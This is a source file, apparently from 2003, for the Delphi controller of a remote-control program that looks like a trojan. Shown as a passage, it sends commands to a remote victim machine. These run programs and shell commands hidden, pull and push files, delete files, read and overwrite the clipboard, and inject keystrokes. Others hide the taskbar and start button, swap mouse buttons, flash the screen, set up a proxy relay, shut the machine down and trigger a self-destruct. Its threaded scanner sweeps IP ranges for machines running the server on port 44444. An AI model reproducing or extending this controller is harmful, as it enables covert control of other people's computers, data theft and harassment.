main.pas

2003年的远程控制

 selchild.visible:=false;
 ShowChild.caption:='Show';
 end else
 begin
 Send('WSHOW',inttostr(selchild.handle),'');
 selchild.visible:=true;
 ShowChild.caption:='Hide';
 end;
ListRefresh2;
end;

procedure TPCli6.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if selchild=nil then exit;
if (key=#13) and (not childtype.checked) then
 begin
 Send('WSEND',inttostr(selchild.handle),edit2.Text);
 edit2.text:='';
 end;
if (childtype.checked) then
 Send('WTYPE',inttostr(selchild.handle),inttostr(ord(key)));
end;

procedure TPCli6.Button2Click(Sender: TObject);
begin
Send('LOGOFF','','');
end;

procedure TPCli6.Button3Click(Sender: TObject);
begin
Send('POWEROFF','','');
end;

procedure TPCli6.Button4Click(Sender: TObject);
begin
Send('SHUTDOWN','','');
end;

procedure TPCli6.Button5Click(Sender: TObject);
begin
Send('REBOOT','','');
end;

procedure TPCli6.dirlistClick(Sender: TObject);
begin
Send('CD',dirlist.items[dirlist.itemindex],'');
Send('DIR',filter.text,'');
dirstatus.caption:='dir request';
end;

procedure TPCli6.drivelistChange(Sender: TObject);
begin
Send('CD',drivelist.items[drivelist.itemindex][1]+':','');
Send('DIR',filter.text,'');
dirstatus.caption:='dir request';
end;

procedure TPCli6.Memo1Change(Sender: TObject);
begin
if memo1.lines.count>100 then
 memo1.lines.Delete(0);
end;

procedure TPCli6.SpeedButton1Click(Sender: TObject);
begin
Send('DRIVES','','');
Send('CD','','');
Send('DIR',filter.text,'');
dirstatus.caption:='dir request';
end;

procedure TPCli6.SpeedButton2Click(Sender: TObject);
var i:integer;
begin
if getfile then exit;
if filelist.Items.count=0 then exit;
multifilelist.clear;
if filelist.selcount=1 then
 multifilelist.add(filelist.items[filelist.itemindex])
 else
for i:=0 to filelist.items.count-1 do
 if filelist.selected[i] then multifilelist.add(filelist.items[i]);
mfile:=0;
repeat
 repeat
  application.processmessages;
 until not getfile;
if mfile<multifilelist.count then httpd_request;
until mfile>=multifilelist.count;
end;

procedure TPCli6.Httpd_request;
var fi:string;
    tmp:string;
    p:integer;
begin
tmp:=multifilelist.strings[mfile];
inc(mfile);
label55.caption:=tmp+' '+inttostr(mfile)+'/'+inttostr(multifilelist.count);
p:=length(tmp);
repeat
dec(p);
until (tmp[p]=' ') or (p<2);
gauge1.MaxValue:=strtointdef(copy(tmp,p+1,100),0);
gauge2.maxvalue:=gauge1.maxvalue;
fi:=copy(tmp,1,p-1);
Getdir(0,tmp);
httpget(currentdir+'\'+fi,tmp+'\'+fi);
{xlog(currentdir+'\'+fi);
xlog(tmp+'\'+fi);}
end;

procedure TPCli6.SpeedButton3Click(Sender: TObject);
var tmp:string;
begin
if filelist.Items.count=0 then exit;
tmp:=filelist.items[filelist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
Send('OPEN',tmp,'');
end;

procedure TPCli6.SpeedButton4Click(Sender: TObject);
var tmp:string;
begin
if filelist.Items.count=0 then exit;
tmp:=filelist.items[filelist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
Send('EXE',tmp,'');
end;

procedure TPCli6.Button11Click(Sender: TObject);
begin
Send('GET_MOUSE','','');
end;

procedure TPCli6.SpeedButton5Click(Sender: TObject);
var tmp:string;
begin
if filelist.Items.count=0 then exit;
tmp:=filelist.items[filelist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
Send('DELETE',tmp,'');
Send('DIR','','');
end;

procedure TPCli6.SpeedButton6Click(Sender: TObject);
begin
Send('DESTRUCT','','');
end;

procedure TPCli6.SpeedButton7Click(Sender: TObject);
begin
Send('NETCONFIGWRITE','','');
end;

procedure TPCli6.SpeedButton8Click(Sender: TObject);
begin
Send('NETCONFIGDEF','','');
Send('NETSTAT','','');
end;

procedure TPCli6.SpeedButton9Click(Sender: TObject);
begin
scriptlist.clear;
Send('ENUMSCRIPTS','','');
end;

procedure TPCli6.SpeedButton10Click(Sender: TObject);
begin
Send('SETNAME',setname.text,'');
end;

procedure TPCli6.SpeedButton11Click(Sender: TObject);
begin
if wwwadr.items.IndexOf(wwwadr.text)=-1 then
 wwwadr.Items.Add(wwwadr.text);
Send('WWW',wwwadr.text,'');
end;

procedure TPCli6.SpeedButton12Click(Sender: TObject);
begin
Send('MAIL',emailsender.text,emailsubject.text);
end;

procedure TPCli6.SpeedButton13Click(Sender: TObject);
begin
if dos.checked then
begin
 if normal.Checked then
 Send('DOS',doscomm.text,'') else
 if minimal.checked then
 Send('DOSMIN',doscomm.text,'') else
 Send('DOSHID',doscomm.text,'');
end else
begin
 if normal.Checked then
 Send('EXE',doscomm.text,'') else
 if minimal.checked then
 Send('EXEMIN',doscomm.text,'') else
 Send('EXEHID',doscomm.text,'');
end;
end;

procedure TPCli6.SpeedButton14Click(Sender: TObject);
begin
Send('SAVER','','');
end;

procedure TPCli6.SpeedButton15Click(Sender: TObject);
begin
if filelistbox1.filename='' then exit;
httpput(filelistbox1.filename,ExtractFilename(filelistbox1.FileName));
end;

procedure TPCli6.SpeedButton16Click(Sender: TObject);
begin
Send('SAVERTIME',savertime.text,'');
end;

procedure TPCli6.SpeedButton19Click(Sender: TObject);
begin
Send('FLASH',flashtime.text,'');
end;

procedure TPCli6.SpeedButton20Click(Sender: TObject);
begin
Send('INVERT',inverttime.text,'');
end;

procedure TPCli6.mouseswapClick(Sender: TObject);
begin
Send('MOUSESWAP',t_bool(mouseswap.checked),'');
end;

procedure TPCli6.hidestartClick(Sender: TObject);
begin
Send('STARTBTN',t_bool(not hidestart.checked),'');
end;

procedure TPCli6.hidetaskClick(Sender: TObject);
begin
Send('TASKBAR',t_bool(not hidetask.checked),'');
end;

procedure TPCli6.SpeedButton21Click(Sender: TObject);
var ikona:string;
begin
if mesg_icon1.checked then ikona:='WARNING';
if mesg_icon2.checked then ikona:='INFO';
if mesg_icon3.checked then ikona:='QUESTION';
if mesg_icon4.checked then ikona:='STOP';
Send('MESGICON',ikona,'');
if mesg_buttons1.checked then
Send('MESGBUTTONS','OKCANCEL','') else
Send('MESGBUTTONS','OK','');
Send('MESGTITLE',mesg_title.text,'');
Send('MESG',mesg_text.text,'');
end;

procedure TPCli6.hidepulpitClick(Sender: TObject);
begin
Send('PULPIT',t_bool(not hidepulpit.checked),'');
end;

procedure TPCli6.SpeedButton22Click(Sender: TObject);
begin
SEnd('MAIL_HOST',i_mailhost.text,'');
end;

procedure TPCli6.SpeedButton23Click(Sender: TObject);
begin
Send('TERMINRELOAD','','');
end;

procedure TPCli6.SpeedButton25Click(Sender: TObject);
begin
Send('MKDIR',newdir.text,'');
Send('DIR','','');
end;

procedure TPCli6.enablechildClick(Sender: TObject);
begin
if selchild=nil then exit;
if selchild.enabled then
 begin
 Send('WENABLE',inttostr(selchild.handle),'0');
 selchild.enabled:=false;
 enablechild.caption:='Enable';
 end else
 begin
 Send('WENABLE',inttostr(selchild.handle),'1');
 selchild.enabled:=true;
 enablechild.caption:='Disable';
 end;
end;

procedure TPCli6.SpeedButton26Click(Sender: TObject);
begin
Send('CLREAD','','');
end;

procedure TPCli6.SpeedButton27Click(Sender: TObject);
begin
Send('CLEMPTY','','');
end;

procedure TPCli6.SpeedButton28Click(Sender: TObject);
begin
Send('CLWRITE',cliptext.text,'');
end;

procedure TPCli6.SpeedButton33Click(Sender: TObject);
begin
Send('PROXYSTOP','','');
Send('PROXYREMOTE',proxyremote.text,proxyremoteport.text);
Send('PROXYLOCAL',proxylocal.text,'');
Send('PROXYSTART','','');
end;

procedure TPCli6.But2Click(Sender: TObject);
begin
WCKaczka;
status_req;
end;

procedure TPCli6.Windowsdirectory1Click(Sender: TObject);
begin
Send('CD',windirectory,'');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.Systemdirectory1Click(Sender: TObject);
begin
Send('CD',sysdirectory,'');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.Pulpit1Click(Sender: TObject);
begin
Send('CD',windirectory+'\Pulpit','');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.ProgramFiles1Click(Sender: TObject);
begin
Send('CD','C:\Program Files','');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.MenuStart1Click(Sender: TObject);
begin
Send('CD',windirectory+'\Menu Start','');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.MojeDokumenty1Click(Sender: TObject);
begin
Send('CD','C:\Moje Dokumenty','');
Send('DIR','','');
dirstatus.caption:='dir request';
end;

procedure TPCli6.SpeedButton35Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WSER',inttostr(selwin.handle),iledziur.text);
end;

procedure TPCli6.SpeedButton36Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WBEZDZIUR',inttostr(selwin.handle),'');
end;

procedure TPCli6.SpeedButton37Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WDZIURA',inttostr(selwin.handle),inttostr(trackbar1.position));
end;

procedure TPCli6.SpeedButton40Click(Sender: TObject);
begin
Send('ISTOP','','');
end;

procedure TPCli6.SpeedButton39Click(Sender: TObject);
begin
case efektsel.itemindex of
0:Send('PAINT1','','');
1:Send('PAINT2','','');
2:Send('PAINT3','','');
3:Send('PAINT4','','');
end;
end;

procedure TPCli6.skanuj;
var sport:integer;
begin
AbortScan:=false;
Scanning:=true;
net_.enabled:=false;
from_.enabled:=false;
to_.enabled:=false;
netport.enabled:=false;
network:=net_.text;
netfrom:=strtointdef(from_.text,0);
netto:=strtointdef(to_.text,0);
sport:=strtointdef(netport.text,0);
netnow:=netfrom;
ThreadsRunning:=0;
repeat
if (ThreadsRunning<10) then
 begin
 inc(ThreadsRunning);
 with TScanner.Create(network+'.'+inttostr(netnow),sport) do
    OnTerminate:=ThreadDone;
 netcurr.caption:=inttostr(netnow);
 inc(netnow);
 end;
application.processmessages;
until (netnow>netto)or AbortScan;
repeat
 application.processmessages;
until (ThreadsRunning=0);
net_.enabled:=true;
from_.enabled:=true;
to_.enabled:=true;
netport.enabled:=true;
netcurr.caption:='done';
scanning:=false;
end;

procedure TPCli6.sprawdz;
var i:integer;
   tmp:string;
   timer:longint;
begin
scanning:=true;
if netlist.rowcount>2 then
for i:=1 to netlist.rowcount-2 do
if length(netlist.Cells[1,i])>3 then
begin
 tmp:=netlist.Cells[1,i];
 scansock.active:=false;
 if tmp[1] in ['1'..'9'] then
 scansock.address:=tmp else
 scansock.host:=tmp;
 scansock.port:=strtointdef(netlist.Cells[2,i],44444);
 scan_name:='#';
 scan_host:='#';
 scan_online:='#';
 scan_ping:=0;
 scan_version:='#';
 scan_done:=false;
 scansock.active:=true;
 netcurr.caption:=inttostr(i);
 timer:=gettickcount;
 repeat
  application.processmessages;
 until (scan_done) or ((gettickcount-timer)>ping_timeout);
 scansock.active:=false;
 netlist.Cells[4,i]:=scan_name;
 netlist.Cells[5,i]:=scan_host;
 netlist.Cells[6,i]:=inttostr(scan_ping);
 netlist.Cells[7,i]:=scan_version;
 netlist.Cells[8,i]:=scan_online;
 if abortscan then break;
end;
netcurr.caption:='end';
scanning:=false;
end;

procedure TPCli6.scanbuttClick(Sender: TObject);
begin
if scanning then
 begin